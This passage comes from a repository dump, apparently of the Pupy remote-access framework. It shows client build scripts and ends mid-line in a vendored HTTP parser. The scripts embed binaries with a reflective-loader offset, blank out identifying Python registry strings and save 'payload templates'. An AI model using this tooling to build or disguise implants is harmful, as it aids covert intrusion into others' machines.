happens on two consecutive expansions we inhibit any\n    * further expansion, as it's not helping; this happens when the hash\n    * function isn't a good fit for the key domain. When expansion is inhibited\n    * the hash will still work, albeit no longer in constant time. */\n   unsigned ineff_expands, noexpand;\n\n   uint32_t signature; /* used only to find hash tables in external analysis */\n#ifdef HASH_BLOOM\n   uint32_t bloom_sig; /* used only to test bloom exists in external analysis */\n   uint8_t *bloom_bv;\n   uint8_t bloom_nbits;\n#endif\n\n} UT_hash_table;\n\ntypedef struct UT_hash_handle {\n   struct UT_hash_table *tbl;\n   void *prev;                       /* prev element in app order      */\n   void *next;                       /* next element in app order      */\n   struct UT_hash_handle *hh_prev;   /* previous hh in bucket order    */\n   struct UT_hash_handle *hh_next;   /* next hh in bucket order        */\n   void *key;                        /* ptr to enclosing struct's key  */\n   unsigned keylen;                  /* enclosing struct's key len     */\n   unsigned hashv;                   /* result of hash-fcn(key)        */\n} UT_hash_handle;\n\n#endif /* UTHASH_H */\n"
  },
  {
    "path": "client/gen_library_compressed_string.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport zipfile\nimport struct\n\nfrom io import open\n\n\ndef get_encoded_library_string(filepath, out):\n    dest = os.path.dirname(filepath)\n    if not os.path.exists(dest):\n        os.makedirs(dest)\n\n    zip = zipfile.ZipFile(open(filepath, 'rb'))\n\n    modules = dict([\n        (\n            z.filename, zip.open(z.filename,).read()\n        ) for z in zip.infolist() if os.path.splitext(z.filename)[1] in (\n            '.py', '.pyd', '.dll', '.pyc', '.pyo', '.so', '.toc'\n        )\n    ])\n\n    ks = len(modules)\n    out.write(struct.pack('>I', ks))\n    for module in modules:\n        content = modules[module]\n\n        out.write(struct.pack('>II', len(module), len(content)))\n        out.write(module.encode('utf8'))\n        out.write(content)\n\n\nwith open(sys.argv[1], 'wb') as w:\n    get_encoded_library_string(sys.argv[2], w)\n"
  },
  {
    "path": "client/gen_resource_header.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport binascii\n#import lzma\nimport pylzma\nimport struct\nimport os\n\nfrom io import open\n\nMAX_CHAR_PER_LINE = 50\n\nReflectiveLoaderSymName = 'ReflectiveLoader'\n\nZERO_STRINGS = [\n    b'Software\\\\Python\\\\PythonCore'\n]\n\nZERO_STRINGS.extend([\n    z.decode('ascii').encode('utf-16le') for z in ZERO_STRINGS\n])\n\n\nif __name__ == \"__main__\":\n    h_file = \"\"\n    file_bytes = b\"\"\n    output = os.path.basename(sys.argv[2]).replace('.', '_')\n\n    reflective_loader = None\n\n    with open(sys.argv[1], \"rb\") as f:\n        file_bytes = f.read()\n        for z in ZERO_STRINGS:\n            if z in file_bytes:\n                file_bytes = file_bytes.replace(z, b'\\00' * len(z))\n\n    try:\n        image_base = 0\n\n        with open(sys.argv[1]+'.map') as f:\n            for line in f:\n                line = line.strip().split()\n\n                if len(line) < 4:\n                    continue\n\n                if line[1] == '__ImageBase':\n                    image_base = int(line[2], 16)\n                    continue\n\n                if line[1] in (ReflectiveLoaderSymName, '_' + ReflectiveLoaderSymName + '@4'):\n                    reflective_loader = int(line[2], 16) - image_base\n                    break\n\n    except (OSError, IOError):\n        pass\n\n    compressed = int(sys.argv[3])\n\n    attribute = ''\n    pragma = ''\n\n    if len(sys.argv) > 5:\n        compiler = sys.argv[4]\n\n        if compiler == 'cl':\n            print(\"USING MSVC pragmas, const_seg: {}\".format(sys.argv[5]))\n            attribute = '\\n#pragma const_seg(push, stack1, \"{}\")\\n'.format(\n                sys.argv[5])\n            pragma = '\\n#pragma const_seg(pop, stack1)'\n        else:\n            attribute = '\\n'.join([\n                '__attribute__(({}))'.format(x) for x in sys.argv[5:]\n            ])\n\n    payload_len = len(file_bytes)\n\n    payload=file_bytes\n    if compressed:\n        #     lzc = lzma.LZMACompressor()\n        #     compressed_fb = lzc.compress(file_bytes)\n        #     compressed_fb += lzc.flush()\n        #     payload = compressed_fb\n        payload = struct.pack('>I', payload_len) + (\n            pylzma.compress(\n                file_bytes, dictionary=24, fastBytes=255\n            ) if compressed else file_bytes\n        )\n    else:\n        payload = struct.pack('>I', payload_len) + payload\n\n    if reflective_loader:\n        h_file += \"static const size_t %s_loader = 0x%x;\\n\" % (\n            output, reflective_loader)\n\n        with open(sys.argv[2].rsplit('.', 1)[0] + '.loader', 'wb') as w:\n            w.write(struct.pack('>I', reflective_loader))\n\n    h_file += \"static const int %s_size = %s;\" % (output, len(payload))\n    h_file += attribute\n    h_file += \"\\nstatic const char %s_start[] = {\\n\" % (output)\n    current_size = 0\n\n    with open(sys.argv[2], 'w') as w:\n        w.write(h_file)\n\n        for c in payload:\n            w.write(\"'\\\\x%02x',\" % c)\n            current_size += 1\n            if current_size > MAX_CHAR_PER_LINE:\n                current_size = 0\n                w.write(\"\\n\")\n\n        w.write(\"'\\\\x00' };\\n\")\n        w.write(pragma)\n"
  },
  {
    "path": "client/mktab.py",
    "content": "from __future__ import print_function\nfrom __future__ import unicode_literals\n\n# A script to generate helper files for dynamic linking to the Python dll\n#\n\nimport string\nimport sys\n\nfrom io import open\n\nUCS_ABI = 'UCS2'\nif len(sys.argv) > 1:\n    UCS_ABI = sys.argv[1]\n\n\n\ndecls = '''\nvoid, Py_InitializeEx, (int)\nvoid, Py_Finalize, ()\nvoid, Py_Initialize, ()\nwchar_t *, Py_GetPath, (void)\nvoid, Py_SetPythonHome, (const wchar_t *)\nvoid, Py_SetProgramName, (const wchar_t *)\nPyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t)\nint, PyBytes_AsStringAndSize, (PyObject *, char **, Py_ssize_t *)\nconst char *, PyBytes_AsString, (PyObject *)\nint, PyArg_ParseTuple, (PyObject *, const char *, ...)\nint, PyArg_ParseTupleAndKeywords, (PyObject *args, PyObject *kw, const char *format, const char * const *keywords, ...)\nPyObject *, PyImport_ImportModule, (const char *)\nPyObject *, PyImport_Import, (PyObject *name)\nPyObject *,PyLong_FromLong, (long)\nPyObject *, PyLong_FromVoidPtr, (void *)\nint, PyImport_ImportFrozenModule, (const char *name)\nint, Py_IsInitialized, (void)\nint, PyObject_SetAttrString, (PyObject *, const char *, PyObject *)\nvoid*, PyUnicode_AsWideChar, (PyObject *o, wchar_t *w, Py_ssize_t size)\nvoid, Py_SetPath, (const wchar_t* path)\nPy_ssize_t, PyUnicode_GetSize, (PyObject *unicode)\nconst char *, PyUnicode_AsUTF8AndSize, (PyObject *unicode, Py_ssize_t *size)\nconst char *, PyUnicode_AsUTF8, (PyObject *unicode)\nPyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *)\nPyObject *, PyObject_GetAttrString, (PyObject *, const char *)\nPyObject *, Py_BuildValue, (const char *, ...)\nPyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *)\nPyObject *, PyObject_CallFunctionObjArgs, (PyObject *, ...)\nPyObject *, PyObject_CallFunction, (PyObject *, const char *, ...)\nPyObject *, PyErr_Occurred, (void)\nvoid, PyErr_Fetch, (PyObject **, PyObject **, PyObject **)\nvoid, PyErr_Clear, (void)\nPyObject*, PyErr_NoMemory, (void)\nint, PyObject_IsInstance, (PyObject *, PyObject *)\nPyObject *, PyCapsule_New, (void *, const char *, void *)\nvoid *, PyCapsule_GetPointer, (PyObject *, const char *)\n\nvoid, Py_IncRef, (PyObject *)\nvoid, Py_DecRef, (PyObject *)\n\n\nPyObject*, PyErr_SetFromErrno, (PyObject *)\nPyObject*, PyErr_Format, (PyObject *, const char *format, ...)\n\n\n\nPyObject *, PyObject_CallObject, (PyObject *, PyObject *)\n\nPyGILState_STATE, PyGILState_Ensure, (void)\nvoid, PyGILState_Release, (PyGILState_STATE)\n\nvoid, PySys_SetObject, (const char *, PyObject *)\nPyObject *, PySys_GetObject, (const char *)\nPyObject *, PyImport_AddModule, (const char *)\nPyObject *, PyModule_GetDict, (PyObject *)\nint, PyDict_Next, (PyObject *, Py_ssize_t *, PyObject **, PyObject **)\nPyObject*, PyDict_Keys, (PyObject *)\nvoid, PyDict_Clear, (PyObject *)\nPy_ssize_t, PySequence_Length, (PyObject *)\nPyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t)\nPyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *)\nPyObject *, PyEval_GetBuiltins, ()\nvoid, PyErr_Print, (void)\nPyObject *, PyBool_FromLong, (long)\nPyObject*, PyList_New, (Py_ssize_t)\nPyObject*, PyList_GetItem, (PyObject *, Py_ssize_t)\nPyObject*, PyList_Append, (PyObject *, PyObject *)\nint, PyList_SetSlice, (PyObject *list, Py_ssize_t low, Py_ssize_t high, PyObject *itemlist)\nPy_ssize_t, PyList_Size, (PyObject *list)\nint, PyObject_IsTrue, (PyObject *)\nPyObject*, PyObject_GetIter, (PyObject *)\nPyObject*, PyIter_Next, (PyObject *o)\nvoid, PyErr_SetString, (PyObject *, const char *)\nvoid, PyEval_InitThreads, (void)\n\nPyObject *, PyErr_NewException, (const char *name, PyObject *base, PyObject *dict)\nint, PyModule_AddObject, (PyObject *, const char *, PyObject *)\nint, PyModule_AddStringConstant, (PyObject *module, const char *name, const char *value)\n\nPyObject*, PyDict_New, ()\nPyObject*, PyUnicode_FromStringAndSize, (const char *v, Py_ssize_t len)\nPyObject*, PyUnicode_FromString, (const char *u)\nPyObject*, PyBytes_FromStringAndSize, (const char *v, Py_ssize_t len)\nPyObject*, PyBytes_FromString, (const char *v)\nint, PyDict_Update, (PyObject *a, PyObject *b)\nint, PyDict_SetItem, (PyObject *p, PyObject *key, PyObject *val)\nint, PyDict_SetItemString, (PyObject *, const char *, PyObject *)\nint, PyDict_DelItem, (PyObject *a, PyObject *b)\nPyObject*, PyDict_GetItemString, (PyObject *p, const char *key)\nint, PyDict_DelItemString, (PyObject *p, const char *key)\nwchar_t *, Py_DecodeLocale, (const char *arg, size_t *size)\n\nPyStatus, _PyRuntime_Initialize, (void)\n\nvoid, PyPreConfig_InitPythonConfig, (PyPreConfig *config)\nvoid, PyPreConfig_InitIsolatedConfig, (PyPreConfig *config)\nPyStatus, Py_PreInitialize, (PyPreConfig *config)\n\nvoid, PyConfig_InitPythonConfig, (PyConfig *config)\nvoid, PyConfig_InitIsolatedConfig, (PyConfig *config)\nPyStatus, Py_InitializeFromConfig, (const PyConfig *config)\nPyStatus, _Py_InitializeMain, (void)\n\nint, PyStatus_Exception, (PyStatus status)\nvoid, Py_ExitStatusException, (PyStatus status)\n\nint , Py_NoSiteFlag\nint , Py_OptimizeFlag\nint , Py_NoUserSiteDirectory\nint , Py_DontWriteBytecodeFlag\nint , Py_IgnoreEnvironmentFlag\nint , Py_IsolatedFlag\nint , Py_UnbufferedStdioFlag\n\nPyObject, PyUnicode_Type\nPyObject, _Py_NoneStruct\nconst char *, _Py_PackageContext\n\nchar *, Py_FileSystemDefaultEncoding\nPyObject *, PyExc_ImportError\nPyObject *, PyExc_Exception\nPyObject *, PyExc_KeyError\nPyObject *, PyExc_OSError\n\n\n\nint, PyImport_AppendInittab, (const char *name, PyObject *(*initfunc)(void))\nint, PyRun_SimpleString, (const char *command)\n\nint, _PyImport_FixupExtensionObject, (PyObject *mod, PyObject *name, PyObject *filename, PyObject *modules)\nPyObject *, PyImport_GetModuleDict, ()\n\nPyObject *, PyFile_FromFd, (int fd, const char *name, const char *mode, int buffering, const char *encoding, const char *errors, const char *newline, int closefd)\n\n'''.strip().splitlines()\n\n#int , Py_LegacyWindowsFSEncodingFlag\n\n# useful types ?\n\"\"\"\n\"\"\"\n\n\nhfile = open(\"import-tab.h\", \"w\")\ncfile = open(\"import-tab.c\", \"w\")\n\nindex = 0\nfor decl in decls:\n    if not decl or decl.startswith(\"//\"):\n        continue\n    items = decl.split(',', 2)\n    if len(items) == 3:\n        # exported function with argument list\n        restype, name, argtypes = map(str.strip, items)\n        print(f'#define {name} (({restype}(*){argtypes})py_sym_table[{index}].proc)', file=hfile)\n    elif len(items) == 2:\n        # exported data\n        typ, name = map(str.strip, items)\n        print(f'#define {name} (*(({typ}(*))py_sym_table[{index}].proc))', file=hfile)\n    else:\n        raise ValueError(\"could not parse %r\" % decl)\n    print(f'\\t{{ \"{name}\", NULL }},', file=cfile)\n    index += 1\n\nhfile.close()\ncfile.close()\n"
  },
  {
    "path": "client/pyoxidizer-build/build_template.sh",
    "content": "#!/bin/bash\n# -*- coding: UTF8 -*-\n\npython3 -m pip install pyoxidizer\n\n# so let's copy important files necessary for the build\ncp -r ../../pupy/agent lib/pupy/\ncp -r ../../pupy/network lib/pupy/\ncp -r ../../pupy/library_patches_py3 .\n\ndocker run -ti -v $(pwd):/pupy --rm n1nj4sec/pyoxidizer-builder:linux-x86_64 /bin/bash -c 'export PATH=\"/build/python/bin:$PATH\"; cd /pupy; python3 -m pip install pyoxidizer; pyoxidizer build --release'\n\nstrip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy\necho \"saving built template to ~/.pupy/payload_templates/ ...\"\nmkdir -p ~/.pupy/payload_templates\ncp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx64-310.pyoxidizer.lin\n\n\n# not working, missing msvc on windows\n#docker run --rm -v $(pwd):/opt/win/drive_c/tools/pupy -ti wine 'set PATH=%PATH%;C:\\\\Program Files\\\\PyOxidizer && C: && cd C:\\\\tools\\\\pupy && pyoxidizer build --release'\n"
  },
  {
    "path": "client/pyoxidizer-build/lib/http_parser/__init__.py",
    "content": "# -*- coding: utf-8 -\n#\n# This file is part of http_parser released under the MIT license.\n# See the NOTICE for more information.\n\nversion_info = (0, 9, 0)\n__version__ = \".\".join(map(str, version_info))\n"
  },
  {
    "path": "client/pyoxidizer-build/lib/http_parser/_socketio.py",
    "content": "\"\"\"\nsocketio taken from the python3 stdlib\n\"\"\"\nimport io\nimport sys\nfrom socket import timeout, error, socket\nfrom errno import EINTR, EAGAIN, EWOULDBLOCK\n\n_blocking_errnos = EAGAIN, EWOULDBLOCK\n\n\n# python2.6 fixes\n\ndef _recv_into_sock_py26(sock, buf):\n    data = sock.recv(len(buf))\n    l = len(data)\n    buf[:l] = data\n    return l\n\n\nif sys.version_info < (2, 7, 0, 'final'):\n    _recv_into_sock = _recv_into_sock_py26\nelse:\n    _recv_into_sock = lambda sock, buf: sock.recv_into(buf)\n\n\nclass SocketIO(io.RawIOBase):\n\n    \"\"\"Raw I/O implementation for stream sockets.\n\n    This class supports the makefile() method on sockets.  It provides\n    the raw I/O interface on top of a socket object.\n    \"\"\"\n\n    # One might wonder why not let FileIO do the job instead.  There are two\n    # main reasons why FileIO is not adapted:\n    # - it wouldn't work under Windows (where you can't used read() and\n    #   write() on a socket handle)\n    # - it wouldn't work with socket timeouts (FileIO would ignore the\n    #   timeout and consider the socket non-blocking)\n\n    # XXX More docs\n\n    def __init__(self, sock, mode):\n        if mode not in (\"r\", \"w\", \"rw\", \"rb\", \"wb\", \"rwb\"):\n            raise ValueError(\"invalid mode: %r\" % mode)\n        io.RawIOBase.__init__(self)\n        self._sock = sock\n        if \"b\" not in mode:\n            mode += \"b\"\n        self._mode = mode\n        self._reading = \"r\" in mode\n        self._writing = \"w\" in mode\n        self._timeout_occurred = False\n\n    def readinto(self, b):\n        \"\"\"Read up to len(b) bytes into the writable buffer *b* and return\n        the number of bytes read.  If the socket is non-blocking and no bytes\n        are available, None is returned.\n\n        If *b* is non-empty, a 0 return value indicates that the connection\n        was shutdown at the other end.\n        \"\"\"\n        self._checkClosed()\n        self._checkReadable()\n        if self._timeout_occurred:\n            raise IOError(\"cannot read from timed out object\")\n        while True:\n            try:\n                return _recv_into_sock(self._sock, b)\n            except timeout:\n                self._timeout_occurred = True\n                raise\n            except error as e:\n                n = e.args[0]\n                if n == EINTR:\n                    continue\n                if n in _blocking_errnos:\n                    return None\n                raise\n\n    def write(self, b):\n        \"\"\"Write the given bytes or bytearray object *b* to the socket\n        and return the number of bytes written.  This can be less than\n        len(b) if not all data could be written.  If the socket is\n        non-blocking and no bytes could be written None is returned.\n        \"\"\"\n        self._checkClosed()\n        self._checkWritable()\n        try:\n            return self._sock.send(b)\n        except error as e:\n            # XXX what about EINTR?\n            if e.args[0] in _blocking_errnos:\n                return None\n            raise\n\n    def readable(self):\n        \"\"\"True if the SocketIO is open for reading.\n        \"\"\"\n        return self._reading and not self.closed\n\n    def writable(self):\n        \"\"\"True if the SocketIO is open for writing.\n        \"\"\"\n        return self._writing and not self.closed\n\n    def fileno(self):\n        \"\"\"Return the file descriptor of the underlying socket.\n        \"\"\"\n        self._checkClosed()\n        return self._sock.fileno()\n\n    @property\n    def name(self):\n        if not self.closed:\n            return self.fileno()\n        else:\n            return -1\n\n    @property\n    def mode(self):\n        return self._mode\n\n    def close(self):\n        \"\"\"Close the SocketIO object.  This doesn't close the underlying\n        socket, except if all references to it have disappeared.\n        \"\"\"\n        if self.closed:\n            return\n        io.RawIOBase.close(self)\n        self._sock = None\n\n    def _checkClosed(self, msg=None):\n        \"\"\"Internal: raise an ValueError if file is closed\n        \"\"\"\n        if self.closed:\n            raise ValueError(\"I/O operation on closed file.\"\n                             if msg is None else msg)\n"
  },
  {
    "path": "client/pyoxidizer-build/lib/http_parser/http.py",
    "content": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n# See the NOTICE for more information.\n\nfrom io import DEFAULT_BUFFER_SIZE, BufferedReader, TextIOWrapper\n\ntry:\n    from http_parser.parser import HttpParser\nexcept ImportError:\n    from http_parser.pyparser import HttpParser\n\nfrom http_parser.reader import HttpBodyReader\nfrom http_parser.util import status_reasons, bytes_to_str\n\nHTTP_BOTH = 2\nHTTP_RESPONSE = 1\nHTTP_REQUEST = 0\n\nclass NoMoreData(Exception):\n    \"\"\" exception raised when trying to parse headers but\n    we didn't get all data needed.\n    \"\"\"\n\nclass ParserError(Exception):\n    \"\"\" error while parsing http request \"\"\"\n\nclass BadStatusLine(Exception):\n    \"\"\" error when status line is invalid \"\"\"\n\nclass HttpStream(object):\n    \"\"\" An HTTP parser providing higher-level access to a readable,\n    sequential io.RawIOBase object. You can use implementions of\n    http_parser.reader (IterReader, StringReader, SocketReader) or\n    create your own.\n    \"\"\"\n\n    def __init__(self, stream, kind=HTTP_BOTH, decompress=False,\n            parser_class=HttpParser):\n        \"\"\" constructor of HttpStream.\n\n        :attr stream: an io.RawIOBase object\n        :attr kind: Int,  could be 0 to parseonly requests,\n        1 to parse only responses or 2 if we want to let\n        the parser detect the type.\n        \"\"\"\n        self.parser = parser_class(kind=kind, decompress=decompress)\n        self.stream = stream\n\n    def _check_headers_complete(self):\n        if self.parser.is_headers_complete():\n            return\n\n        while True:\n            try:\n                next(self)\n            except StopIteration:\n                if self.parser.is_headers_complete():\n                    return\n                raise NoMoreData(\"Can't parse headers\")\n\n            if self.parser.is_headers_complete():\n                return\n\n\n    def _wait_status_line(self, cond):\n        if self.parser.is_headers_complete():\n            return True\n\n        data = []\n        if not cond():\n            while True:\n                try:\n                    d = next(self)\n                    data.append(d)\n                except StopIteration:\n                    if self.parser.is_headers_complete():\n                        return True\n                    raise BadStatusLine(b\"\".join(data))\n                if cond():\n                    return True\n        return True\n\n    def _wait_on_url(self):\n        return self._wait_status_line(self.parser.get_url)\n\n    def _wait_on_status(self):\n        return self._wait_status_line(self.parser.get_status_code)\n\n    def _wait_on_method(self):\n        return self._wait_status_line(self.parser.get_method)\n\n    def url(self):\n        \"\"\" get full url of the request \"\"\"\n        self._wait_on_url()\n        return self.parser.get_url()\n\n    def path(self):\n        \"\"\" get path of the request (url without query string and\n        fragment \"\"\"\n        self._wait_on_url()\n        return self.parser.get_path()\n\n    def query_string(self):\n        \"\"\" get query string of the url \"\"\"\n        self._wait_on_url()\n        return self.parser.get_query_string()\n\n    def fragment(self):\n        \"\"\" get fragment of the url \"\"\"\n        self._wait_on_url()\n        return self.parser.get_fragment()\n\n    def version(self):\n        self._wait_on_status()\n        return self.parser.get_version()\n\n    def status_code(self):\n        \"\"\" get status code of a response as integer \"\"\"\n        self._wait_on_status()\n        return self.parser.get_status_code()\n\n    def status(self):\n        \"\"\" return complete status with reason \"\"\"\n        status_code = self.status_code()\n        reason = status_reasons.get(int(status_code), 'unknown')\n        return \"%s %s\" % (status_code, reason)\n\n\n    def method(self):\n        \"\"\" get HTTP method as string\"\"\"\n        self._wait_on_method()\n        return self.parser.get_method()\n\n    def headers(self):\n        \"\"\" get request/response headers, headers are returned in a\n        OrderedDict that allows you to get value using insensitive\n        keys.\"\"\"\n        self._check_headers_complete()\n        headers = self.parser.get_headers()\n        return headers.copy()\n\n    def should_keep_alive(self):\n        \"\"\" return True if the connection should be kept alive\n        \"\"\"\n        self._check_headers_complete()\n        return self.parser.should_keep_alive()\n\n    def is_chunked(self):\n        \"\"\" return True if Transfer-Encoding header value is chunked\"\"\"\n        self._check_headers_complete()\n        return self.parser.is_chunked()\n\n    def wsgi_environ(self, initial=None):\n        \"\"\" get WSGI environ based on the current request.\n\n        :attr initial: dict, initial values to fill in environ.\n        \"\"\"\n        self._check_headers_complete()\n        return self.parser.get_wsgi_environ()\n\n    def body_file(self, buffering=None, binary=True, encoding=None,\n            errors=None, newline=None):\n        \"\"\" return the body as a buffered stream object. If binary is\n        true an io.BufferedReader will be returned, else an\n        io.TextIOWrapper.\n        \"\"\"\n        self._check_headers_complete()\n\n        if buffering is None:\n            buffering = -1\n        if buffering < 0:\n            buffering = DEFAULT_BUFFER_SIZE\n\n        raw = HttpBodyReader(self)\n        buf = BufferedReader(raw, buffering)\n        if binary:\n            return buf\n        text = TextIOWrapper(buf, encoding, errors, newline)\n        return text\n\n    def body_string(self, binary=True, encoding=None, errors=None,\n            newline=None):\n        \"\"\" return body as string \"\"\"\n        return self.body_file(binary=binary, encoding=encoding,\n                newline=newline).read()\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        if self.parser.is_message_complete():\n            raise StopIteration\n\n        # fetch data\n        b = bytearray(DEFAULT_BUFFER_SIZE)\n\n        # if a nonblocking socket is used\n        # then pep 3116 demands read/readinto to return 0\n        recved = self.stream.readinto(b)\n        if recved is None:\n            raise IOError('nonblocking socket used in blocking code')\n\n        del b[recved:]\n        to_parse = bytes(b)\n        # parse data\n        nparsed = self.parser.execute(to_parse, recved)\n        if nparsed != recved and not self.parser.is_message_complete():\n            raise ParserError(\"nparsed != recved (%s != %s) [%s]\" % (nparsed,\n                recved, bytes_to_str(to_parse)))\n\n        if recved == 0:\n            raise StopIteration\n\n        return to_parse\n\n    next = __next__\n"
  },
  {
    "path": "client/pyoxidizer-build/lib/http_parser/pyparser.py",
    "content": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n# See the NOTICE for more information.\n\nimport os\nimport re\nimport sys\n\nif sys.version_info >= (3,):\n    import urllib.parse as urlparse\nelse:\n    import urlparse\n\nimport zlib\n\nfrom http_parser.util import (b, bytes_to_str, IOrderedDict, StringIO,\n        unquote, MAXSIZE)\n\n\nMETHOD_RE = re.compile(\"[A-Z0-9$-_.]{3,20}\")\nVERSION_RE = re.compile(\"HTTP/(\\d+).(\\d+)\")\nSTATUS_RE = re.compile(\"(\\d{3})\\s*(\\w*)\")\nHEADER_RE = re.compile(\"[\\x00-\\x1F\\x7F()<>@,;:\\[\\]={} \\t\\\\\\\\\\\"]\")\n\n# errors\nBAD_FIRST_LINE = 0\nINVALID_HEADER = 1\nINVALID_CHUNK = 2\n\nclass InvalidRequestLine(Exception):\n    \"\"\" error raised when first line is invalid \"\"\"\n\nclass InvalidHeader(Exception):\n    \"\"\" error raised on invalid header \"\"\"\n\nclass InvalidChunkSize(Exception):\n    \"\"\" error raised when we parse an invalid chunk size \"\"\"\n\nclass HttpParser(object):\n\n    def __init__(self, kind=2, decompress=False):\n        self.kind = kind\n        self.decompress = decompress\n\n        # errors vars\n        self.errno = None\n        self.errstr = \"\"\n\n        # protected variables\n        self._buf = []\n        self._version = None\n        self._method = None\n        self._status_code = None\n        self._status = None\n        self._reason = None\n        self._url = None\n        self._path = None\n        self._query_string = None\n        self._fragment= None\n        self._headers = IOrderedDict()\n        self._environ = dict()\n        self._chunked = False\n        self._body = []\n        self._trailers = None\n        self._partial_body = False\n        self._clen = None\n        self._clen_rest = None\n\n        # private events\n        self.__on_firstline = False\n        self.__on_headers_complete = False\n        self.__on_message_begin = False\n        self.__on_message_complete = False\n\n        self.__decompress_obj = None\n        self.__decompress_first_try = True\n\n    def get_version(self):\n        return self._version\n\n    def get_method(self):\n        return self._method\n\n    def get_status_code(self):\n        return self._status_code\n\n    def get_url(self):\n        return self._url\n\n    def get_path(self):\n        return self._path\n\n    def get_query_string(self):\n        return self._query_string\n\n    def get_fragment(self):\n        return self._fragment\n\n    def get_headers(self):\n        return self._headers\n\n    def get_wsgi_environ(self):\n        if not self.__on_headers_complete:\n            return None\n\n        environ = self._environ.copy()\n        # clean special keys\n        for key in (\"CONTENT_LENGTH\", \"CONTENT_TYPE\", \"SCRIPT_NAME\"):\n            hkey = \"HTTP_%s\" % key\n            if hkey in environ:\n                environ[key] = environ.pop(hkey)\n\n        script_name = environ.get('SCRIPT_NAME',\n                os.environ.get(\"SCRIPT_NAME\", \"\"))\n        if script_name:\n            path_info = self._path.split(script_name, 1)[1]\n            environ.update({\n                \"PATH_INFO\": unquote(path_info),\n                \"SCRIPT_NAME\": script_name})\n        else:\n            environ['SCRIPT_NAME'] = \"\"\n\n        if environ.get('HTTP_X_FORWARDED_PROTOCOL', '').lower() == \"ssl\":\n            environ['wsgi.url_scheme'] = \"https\"\n        elif environ.get('HTTP_X_FORWARDED_SSL', '').lower() == \"on\":\n            environ['wsgi.url_scheme'] = \"https\"\n        else:\n            environ['wsgi.url_scheme'] = \"http\"\n\n        return environ\n\n    def recv_body(self):\n        \"\"\" return last chunk of the parsed body\"\"\"\n        body = b(\"\").join(self._body)\n        self._body = []\n        self._partial_body = False\n        return body\n\n    def recv_body_into(self, barray):\n        \"\"\" Receive the last chunk of the parsed body and store the data\n        in a buffer rather than creating a new string. \"\"\"\n        l = len(barray)\n        body = b(\"\").join(self._body)\n        m = min(len(body), l)\n        data, rest = body[:m], body[m:]\n        barray[0:m] = data\n        if not rest:\n            self._body = []\n            self._partial_body = False\n        else:\n            self._body = [rest]\n        return m\n\n    def is_upgrade(self):\n        \"\"\" Do we get upgrade header in the request. Useful for\n        websockets \"\"\"\n        hconn = self._headers.get('connection', \"\").lower()\n        hconn_parts = [x.strip() for x in hconn.split(',')]\n        return \"upgrade\" in hconn_parts\n\n    def is_headers_complete(self):\n        \"\"\" return True if all headers have been parsed. \"\"\"\n        return self.__on_headers_complete\n\n    def is_partial_body(self):\n        \"\"\" return True if a chunk of body have been parsed \"\"\"\n        return self._partial_body\n\n    def is_message_begin(self):\n        \"\"\" return True if the parsing start \"\"\"\n        return self.__on_message_begin\n\n    def is_message_complete(self):\n        \"\"\" return True if the parsing is done (we get EOF) \"\"\"\n        return self.__on_message_complete\n\n    def is_chunked(self):\n        \"\"\" return True if Transfer-Encoding header value is chunked\"\"\"\n        return self._chunked\n\n    def should_keep_alive(self):\n        \"\"\" return True if the connection should be kept alive\n        \"\"\"\n        hconn = self._headers.get('connection', \"\").lower()\n        if hconn == \"close\":\n            return False\n        elif hconn == \"keep-alive\":\n            return True\n        return self._version == (1, 1)\n\n    def execute(self, data, length):\n        # end of body can be passed manually by putting a length of 0\n\n        if length == 0:\n            self.__on_message_complete = True\n            return length\n\n        # start to parse\n        nb_parsed = 0\n        while True:\n            if not self.__on_firstline:\n                idx = data.find(b(\"\\r\\n\"))\n                if idx < 0:\n                    self._buf.append(data)\n                    return len(data)\n                else:\n                    self.__on_firstline = True\n                    self._buf.append(data[:idx])\n                    first_line = bytes_to_str(b(\"\").join(self._buf))\n                    nb_parsed = nb_parsed + idx + 2\n\n                    rest = data[idx+2:]\n                    data = b(\"\")\n                    if self._parse_firstline(first_line):\n                        self._buf = [rest]\n                    else:\n                        return nb_parsed\n            elif not self.__on_headers_complete:\n                if data:\n                    self._buf.append(data)\n                    data = b(\"\")\n\n                try:\n                    to_parse = b(\"\").join(self._buf)\n                    ret = self._parse_headers(to_parse)\n                    if type(ret) is bool and not ret:\n                        return length\n                    nb_parsed = nb_parsed + (len(to_parse) - ret)\n                except InvalidHeader as e:\n                    self.errno = INVALID_HEADER\n                    self.errstr = str(e)\n                    return nb_parsed\n            elif not self.__on_message_complete:\n                if not self.__on_message_begin:\n                    self.__on_message_begin = True\n\n                if data:\n                    self._buf.append(data)\n                    data = b(\"\")\n\n                ret = self._parse_body()\n                if ret is None:\n                    return length\n\n                elif ret < 0:\n                    return ret\n                elif ret == 0:\n                    self.__on_message_complete = True\n                    return length\n                else:\n                    nb_parsed = max(length, ret)\n\n            else:\n                return 0\n\n    def _parse_firstline(self, line):\n        try:\n            if self.kind == 2: # auto detect\n                try:\n                    self._parse_request_line(line)\n                except InvalidRequestLine:\n                    self._parse_response_line(line)\n            elif self.kind == 1:\n                self._parse_response_line(line)\n            elif self.kind == 0:\n                self._parse_request_line(line)\n        except InvalidRequestLine as e:\n            self.errno = BAD_FIRST_LINE\n            self.errstr = str(e)\n            return False\n        return True\n\n    def _parse_response_line(self, line):\n        bits = line.split(None, 1)\n        if len(bits) != 2:\n            raise InvalidRequestLine(line)\n\n        # version\n        matchv = VERSION_RE.match(bits[0])\n        if matchv is None:\n            raise InvalidRequestLine(\"Invalid HTTP version: %s\" % bits[0])\n        self._version = (int(matchv.group(1)), int(matchv.group(2)))\n\n        # status\n        matchs = STATUS_RE.match(bits[1])\n        if matchs is None:\n            raise InvalidRequestLine(\"Invalid status %\" % bits[1])\n\n        self._status = bits[1]\n        self._status_code = int(matchs.group(1))\n        self._reason = 